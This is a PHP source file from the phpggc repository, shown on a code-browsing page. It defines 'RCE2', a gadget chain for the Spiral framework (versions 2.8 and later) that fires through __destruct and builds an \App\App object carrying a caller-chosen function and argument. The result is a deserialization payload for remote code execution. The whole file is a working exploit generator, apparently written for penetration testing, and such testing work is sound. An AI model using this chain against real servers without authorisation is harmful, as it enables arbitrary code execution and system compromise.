Codebase list phpggc / d8342ae9-f3ef-438b-85ac-1b17f8df47e2/upstream/0.20221216 gadgetchains / Spiral / RCE / 2 / chain.php
d8342ae9-f3ef-438b-85ac-1b17f8df47e2/upstream/0.20221216

Tree @d8342ae9-f3ef-438b-85ac-1b17f8df47e2/upstream/0.20221216 (Download .tar.gz)

chain.php @d8342ae9-f3ef-438b-85ac-1b17f8df47e2/upstream/0.20221216raw · history · blame

<?php

namespace GadgetChain\Spiral;

class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '-2.8+';
    public static $vector = '__destruct';
    public static $author = 'CyanM0un';
    public static $information = 'execute the function and throw an error';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        return new \App\App($function,$parameter);
    }
}